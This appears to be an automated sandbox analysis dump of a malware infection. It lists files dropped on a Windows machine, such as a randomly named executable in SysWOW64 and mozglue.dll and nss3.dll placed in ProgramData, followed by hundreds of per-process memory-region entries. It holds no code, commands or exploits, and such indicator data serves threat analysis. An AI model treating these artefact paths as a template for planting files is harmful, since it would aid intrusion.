C:\Windows\SysWOW64\itkctxng\rtounak.exe
-
\ProgramData\mozglue.dll
-
\ProgramData\mozglue.dll
-
\ProgramData\nss3.dll
-
\ProgramData\nss3.dll
-
\Users\Admin\AppData\Local\Temp\1105.tmp
-
\Users\Admin\AppData\Local\Temp\4DD3.tmp
-
\Users\Admin\AppData\Local\Temp\CC4F.tmp
-
\Users\Admin\AppData\Local\Temp\MSI70BC.tmp
-
\Users\Admin\AppData\Local\Temp\b6f96cbd-28d1-43bc-88f5-383eb90a6caf\e.dll
-
\Users\Admin\AppData\Local\Temp\b6f96cbd-28d1-43bc-88f5-383eb90a6caf\e.dll
-
\Users\Admin\AppData\Local\Temp\download\atl71.dll
-
\Users\Admin\AppData\Local\Temp\download\dl_peer_id.dll
-
\Users\Admin\AppData\Local\Temp\download\dl_peer_id.dll
-
\Users\Admin\AppData\Local\Temp\download\download_engine.dll
-
\Users\Admin\AppData\Local\Temp\download\msvcp71.dll
-
\Users\Admin\AppData\Local\Temp\download\msvcr71.dll
-
\Users\Admin\AppData\Local\Temp\download\msvcr71.dll
-
\Users\Admin\AppData\Local\Temp\download\zlib1.dll
-
\Users\Admin\AppData\Local\Temp\nsm3133.tmp\Sibuia.dll
-
\Users\Admin\AppData\Local\Temp\sib323E.tmp\SibClr.dll
-
\Users\Admin\AppData\Local\Temp\sib323E.tmp\SibClr.dll
-
\Users\Admin\AppData\Local\Temp\xldl.dll
-
\Users\Admin\AppData\Local\Temp\xldl.dll
-
memory/284-249-0x0000000000550000-0x0000000000565000-memory.dmpFilesize
84KB
-
memory/284-415-0x0000000000AC0000-0x0000000000AC5000-memory.dmpFilesize
20KB
-
memory/284-412-0x0000000004760000-0x000000000496F000-memory.dmpFilesize
2.1MB
-
memory/284-250-0x0000000000559A6B-mapping.dmp
-
memory/284-414-0x0000000000960000-0x0000000000970000-memory.dmpFilesize
64KB
-
memory/284-413-0x0000000000950000-0x0000000000956000-memory.dmpFilesize
24KB
-
memory/284-417-0x0000000000AD0000-0x0000000000AD7000-memory.dmpFilesize
28KB
-
memory/284-416-0x0000000008C90000-0x000000000909B000-memory.dmpFilesize
4.0MB
-
memory/388-4-0x0000000000000000-mapping.dmp
-
memory/388-5-0x0000000000000000-mapping.dmp
-
memory/416-2-0x0000000000000000-mapping.dmp
-
memory/908-103-0x0000000000000000-mapping.dmp
-
memory/1044-49-0x0000000000000000-mapping.dmp
-
memory/1136-8-0x0000000000000000-mapping.dmp
-
memory/1136-9-0x0000000000000000-mapping.dmp
-
memory/1260-12-0x0000000000000000-mapping.dmp
-
memory/1260-13-0x0000000000000000-mapping.dmp
-
memory/1268-451-0x0000000000000000-mapping.dmp
-
memory/1268-465-0x0000000003328000-0x0000000003329000-memory.dmpFilesize
4KB
-
memory/1268-467-0x0000000004ED0000-0x0000000004ED1000-memory.dmpFilesize
4KB
-
memory/1352-255-0x0000000000000000-mapping.dmp
-
memory/1392-132-0x00007FF9568E0000-0x00007FF95695E000-memory.dmpFilesize
504KB
-
memory/1392-130-0x00007FF6D7008270-mapping.dmp
-
memory/1456-433-0x0000000000000000-mapping.dmp
-
memory/1588-17-0x0000000000000000-mapping.dmp
-
memory/1588-16-0x0000000000000000-mapping.dmp
-
memory/1608-404-0x0000000000000000-mapping.dmp
-
memory/1732-217-0x0000000000000000-mapping.dmp
-
memory/1748-110-0x0000000000000000-mapping.dmp
-
memory/1756-213-0x0000000000000000-mapping.dmp
-
memory/1776-434-0x0000000000000000-mapping.dmp
-
memory/1916-462-0x000000006FA80000-0x000000007016E000-memory.dmpFilesize
6.9MB
-
memory/1916-459-0x0000000000000000-mapping.dmp
-
memory/2004-93-0x0000000000000000-mapping.dmp
-
memory/2144-69-0x0000000000000000-mapping.dmp
-
memory/2172-212-0x0000000000000000-mapping.dmp
-
memory/2180-242-0x0000000008120000-0x0000000008121000-memory.dmpFilesize
4KB
-
memory/2180-281-0x000000000ADE0000-0x000000000ADE1000-memory.dmpFilesize
4KB
-
memory/2180-239-0x0000000007520000-0x0000000007521000-memory.dmpFilesize
4KB
-
memory/2180-238-0x0000000004E70000-0x0000000004E93000-memory.dmpFilesize
140KB
-
memory/2180-237-0x000000006FA80000-0x000000007016E000-memory.dmpFilesize
6.9MB
-
memory/2180-236-0x0000000005040000-0x0000000005041000-memory.dmpFilesize
4KB
-
memory/2180-267-0x0000000009CD0000-0x0000000009CD1000-memory.dmpFilesize
4KB
-
memory/2180-265-0x0000000009960000-0x0000000009961000-memory.dmpFilesize
4KB
-
memory/2180-264-0x00000000098D0000-0x00000000098D1000-memory.dmpFilesize
4KB
-
memory/2180-263-0x0000000009810000-0x0000000009811000-memory.dmpFilesize
4KB
-
memory/2180-261-0x00000000091F0000-0x00000000091F1000-memory.dmpFilesize
4KB
-
memory/2180-245-0x0000000008330000-0x0000000008331000-memory.dmpFilesize
4KB
-
memory/2180-234-0x0000000004D00000-0x0000000004D01000-memory.dmpFilesize
4KB
-
memory/2180-235-0x0000000004D00000-0x0000000004D01000-memory.dmpFilesize
4KB
-
memory/2180-209-0x0000000000000000-mapping.dmp
-
memory/2180-232-0x0000000003308000-0x0000000003309000-memory.dmpFilesize
4KB
-
memory/2180-260-0x0000000009020000-0x0000000009021000-memory.dmpFilesize
4KB
-
memory/2180-244-0x00000000081B0000-0x00000000081B1000-memory.dmpFilesize
4KB
-
memory/2180-243-0x0000000008160000-0x0000000008161000-memory.dmpFilesize
4KB
-
memory/2180-240-0x0000000007A60000-0x0000000007A82000-memory.dmpFilesize
136KB
-
memory/2180-241-0x0000000007A90000-0x0000000007A91000-memory.dmpFilesize
4KB
-
memory/2184-436-0x0000000000000000-mapping.dmp
-
memory/2252-254-0x0000000004C50000-0x0000000004C51000-memory.dmpFilesize
4KB
-
memory/2252-219-0x0000000000000000-mapping.dmp
-
memory/2252-253-0x00000000030F8000-0x00000000030F9000-memory.dmpFilesize
4KB
-
memory/2260-86-0x0000000000000000-mapping.dmp
-
memory/2308-290-0x0000000000000000-mapping.dmp
-
memory/2336-37-0x0000000000000000-mapping.dmp
-
memory/2352-44-0x0000000000000000-mapping.dmp
-
memory/2364-51-0x0000000071170000-0x000000007185E000-memory.dmpFilesize
6.9MB
-
memory/2364-54-0x0000000010B10000-0x0000000010B11000-memory.dmpFilesize
4KB
-
memory/2364-48-0x0000000072410000-0x00000000724A3000-memory.dmpFilesize
588KB
-
memory/2364-45-0x0000000000000000-mapping.dmp
-
memory/2364-56-0x0000000010B30000-0x0000000010B31000-memory.dmpFilesize
4KB
-
memory/2376-274-0x0000000000000000-mapping.dmp
-
memory/2376-277-0x0000000002190000-0x0000000002191000-memory.dmpFilesize
4KB
-
memory/2384-182-0x0000000072410000-0x00000000724A3000-memory.dmpFilesize
588KB
-
memory/2384-183-0x0000000000940000-0x0000000000941000-memory.dmpFilesize
4KB
-
memory/2384-179-0x0000000000000000-mapping.dmp
-
memory/2424-172-0x0000000000000000-mapping.dmp
-
memory/2480-198-0x0000000000000000-mapping.dmp
-
memory/2480-201-0x0000000010000000-0x00000000100E4000-memory.dmpFilesize
912KB
-
memory/2528-120-0x00007FF9568E0000-0x00007FF95695E000-memory.dmpFilesize
504KB
-
memory/2528-119-0x00007FF6D7008270-mapping.dmp
-
memory/2552-438-0x00000000035A0000-0x00000000035B7000-memory.dmpFilesize
92KB
-
memory/2552-262-0x00000000034C0000-0x00000000034D6000-memory.dmpFilesize
88KB
-
memory/2552-185-0x0000000001560000-0x0000000001576000-memory.dmpFilesize
88KB
-
memory/2568-89-0x0000000000000000-mapping.dmp
-
memory/2896-21-0x0000000000000000-mapping.dmp
-
memory/2896-20-0x0000000000000000-mapping.dmp
-
memory/2948-92-0x0000000000000000-mapping.dmp
-
memory/3264-176-0x0000000000000000-mapping.dmp
-
memory/3380-225-0x0000000000000000-mapping.dmp
-
memory/3388-207-0x0000000000000000-mapping.dmp
-
memory/3396-286-0x00000000005A0000-0x00000000005A1000-memory.dmpFilesize
4KB
-
memory/3396-282-0x0000000000000000-mapping.dmp
-
memory/3396-288-0x00000000028C0000-0x00000000028E0000-memory.dmpFilesize
128KB
-
memory/3396-285-0x000000006FA80000-0x000000007016E000-memory.dmpFilesize
6.9MB
-
memory/3452-215-0x0000000004F40000-0x0000000004F41000-memory.dmpFilesize
4KB
-
memory/3452-195-0x0000000000000000-mapping.dmp
-
memory/3452-214-0x0000000003398000-0x0000000003399000-memory.dmpFilesize
4KB
-
memory/3472-85-0x0000000072410000-0x00000000724A3000-memory.dmpFilesize
588KB
-
memory/3472-96-0x0000000004230000-0x00000000046E1000-memory.dmpFilesize
4.7MB
-
memory/3472-82-0x0000000000000000-mapping.dmp
-
memory/3624-409-0x0000000000000000-mapping.dmp
-
memory/3624-421-0x00000000031D8000-0x00000000031D9000-memory.dmpFilesize
4KB
-
memory/3624-422-0x0000000004D60000-0x0000000004D61000-memory.dmpFilesize
4KB
-
memory/3660-109-0x0000000000000000-mapping.dmp
-
memory/3800-405-0x0000000000000000-mapping.dmp
-
memory/3860-424-0x0000000000000000-mapping.dmp
-
memory/3904-223-0x0000000000000000-mapping.dmp
-
memory/3908-208-0x0000000004CD0000-0x0000000004CD1000-memory.dmpFilesize
4KB
-
memory/3908-206-0x0000000003248000-0x0000000003249000-memory.dmpFilesize
4KB
-
memory/3908-189-0x0000000000000000-mapping.dmp
-
memory/3916-458-0x0000000004E50000-0x0000000004E51000-memory.dmpFilesize
4KB
-
memory/3916-448-0x0000000000000000-mapping.dmp
-
memory/3916-457-0x0000000003018000-0x0000000003019000-memory.dmpFilesize
4KB
-
memory/3932-61-0x0000000000000000-mapping.dmp
-
memory/3932-64-0x0000000072410000-0x00000000724A3000-memory.dmpFilesize
588KB
-
memory/3932-68-0x0000000010000000-0x000000001033D000-memory.dmpFilesize
3.2MB
-
memory/3960-60-0x0000000072410000-0x00000000724A3000-memory.dmpFilesize
588KB
-
memory/3960-57-0x0000000000000000-mapping.dmp
-
memory/4128-71-0x0000000000000000-mapping.dmp
-
memory/4196-173-0x0000000000000000-mapping.dmp
-
memory/4240-273-0x0000000002120000-0x0000000002121000-memory.dmpFilesize
4KB
-
memory/4240-270-0x0000000000000000-mapping.dmp
-
memory/4260-65-0x0000000000000000-mapping.dmp
-
memory/4268-446-0x0000000003198000-0x0000000003199000-memory.dmpFilesize
4KB
-
memory/4268-443-0x0000000000000000-mapping.dmp
-
memory/4268-447-0x0000000004DF0000-0x0000000004DF1000-memory.dmpFilesize
4KB
-
memory/4352-146-0x0000000000000000-mapping.dmp
-
memory/4352-149-0x0000000072410000-0x00000000724A3000-memory.dmpFilesize
588KB
-
memory/4360-78-0x0000000000000000-mapping.dmp
-
memory/4372-222-0x0000000000000000-mapping.dmp
-
memory/4376-470-0x00000000030D8000-0x00000000030D9000-memory.dmpFilesize
4KB
-
memory/4376-471-0x0000000004D20000-0x0000000004D21000-memory.dmpFilesize
4KB
-
memory/4376-454-0x0000000000000000-mapping.dmp
-
memory/4404-79-0x0000000000000000-mapping.dmp
-
memory/4404-83-0x0000000072410000-0x00000000724A3000-memory.dmpFilesize
588KB
-
memory/4404-97-0x0000000003AB0000-0x0000000003F61000-memory.dmpFilesize
4.7MB
-
memory/4404-144-0x0000000005CB0000-0x0000000005CB1000-memory.dmpFilesize
4KB
-
memory/4428-259-0x0000000000000000-mapping.dmp
-
memory/4460-202-0x0000000000960000-0x0000000000961000-memory.dmpFilesize
4KB
-
memory/4460-186-0x0000000000000000-mapping.dmp
-
memory/4468-131-0x0000000000000000-mapping.dmp
-
memory/4468-135-0x0000000072410000-0x00000000724A3000-memory.dmpFilesize
588KB
-
memory/4480-142-0x0000000072410000-0x00000000724A3000-memory.dmpFilesize
588KB
-
memory/4480-139-0x0000000000000000-mapping.dmp
-
memory/4488-126-0x0000000000000000-mapping.dmp
-
memory/4496-406-0x0000000000000000-mapping.dmp
-
memory/4516-24-0x0000000000000000-mapping.dmp
-
memory/4528-112-0x00007FF9568E0000-0x00007FF95695E000-memory.dmpFilesize
504KB
-
memory/4528-111-0x00007FF6D7008270-mapping.dmp
-
memory/4536-233-0x0000000000000000-mapping.dmp
-
memory/4548-192-0x0000000000000000-mapping.dmp
-
memory/4548-204-0x0000000004C60000-0x0000000004C61000-memory.dmpFilesize
4KB
-
memory/4548-203-0x0000000003108000-0x0000000003109000-memory.dmpFilesize
4KB
-
memory/4548-205-0x0000000004C60000-0x0000000004C61000-memory.dmpFilesize
4KB
-
memory/4556-116-0x0000000072410000-0x00000000724A3000-memory.dmpFilesize
588KB
-
memory/4556-113-0x0000000000000000-mapping.dmp
-
memory/4560-100-0x0000000000000000-mapping.dmp
-
memory/4572-30-0x0000000000000000-mapping.dmp
-
memory/4572-27-0x0000000000000000-mapping.dmp
-
memory/4584-99-0x00007FF6D7008270-mapping.dmp
-
memory/4584-102-0x0000000010000000-0x0000000010057000-memory.dmpFilesize
348KB
-
memory/4584-101-0x00007FF9568E0000-0x00007FF95695E000-memory.dmpFilesize
504KB
-
memory/4596-291-0x0000000000000000-mapping.dmp
-
memory/4640-25-0x0000000000000000-mapping.dmp
-
memory/4724-266-0x0000000000860000-0x0000000000861000-memory.dmpFilesize
4KB
-
memory/4724-257-0x0000000000000000-mapping.dmp
-
memory/4732-33-0x0000000000000000-mapping.dmp
-
memory/4732-38-0x0000000010000000-0x00000000100E3000-memory.dmpFilesize
908KB
-
memory/4740-107-0x0000000072410000-0x00000000724A3000-memory.dmpFilesize
588KB
-
memory/4740-104-0x0000000000000000-mapping.dmp
-
memory/4756-121-0x0000000000000000-mapping.dmp
-
memory/4756-125-0x0000000072410000-0x00000000724A3000-memory.dmpFilesize
588KB
-
memory/4820-171-0x0000000072410000-0x00000000724A3000-memory.dmpFilesize
588KB
-
memory/4820-168-0x0000000000000000-mapping.dmp
-
memory/4828-74-0x0000000000000000-mapping.dmp
-
memory/4840-77-0x0000000000000000-mapping.dmp
-
memory/4876-278-0x0000000000000000-mapping.dmp
-
memory/4876-292-0x00000000007D0000-0x00000000007D1000-memory.dmpFilesize
4KB
-
memory/4880-246-0x0000000003033000-0x0000000003034000-memory.dmpFilesize
4KB
-
memory/4880-247-0x0000000003970000-0x0000000003971000-memory.dmpFilesize
4KB
-
memory/4992-439-0x0000000000000000-mapping.dmp
-
memory/5000-167-0x0000000072410000-0x00000000724A3000-memory.dmpFilesize
588KB
-
memory/5000-165-0x0000000000000000-mapping.dmp
-
memory/5020-418-0x0000000002EA0000-0x0000000002F91000-memory.dmpFilesize
964KB
-
memory/5020-420-0x0000000002F3259C-mapping.dmp
-
memory/5024-428-0x0000000000402A38-mapping.dmp
-
memory/5024-425-0x0000000000400000-0x000000000040C000-memory.dmpFilesize
48KB
-
memory/5056-218-0x0000000000000000-mapping.dmp
-
memory/5084-178-0x0000000072410000-0x00000000724A3000-memory.dmpFilesize
588KB
-
memory/5084-174-0x0000000000000000-mapping.dmp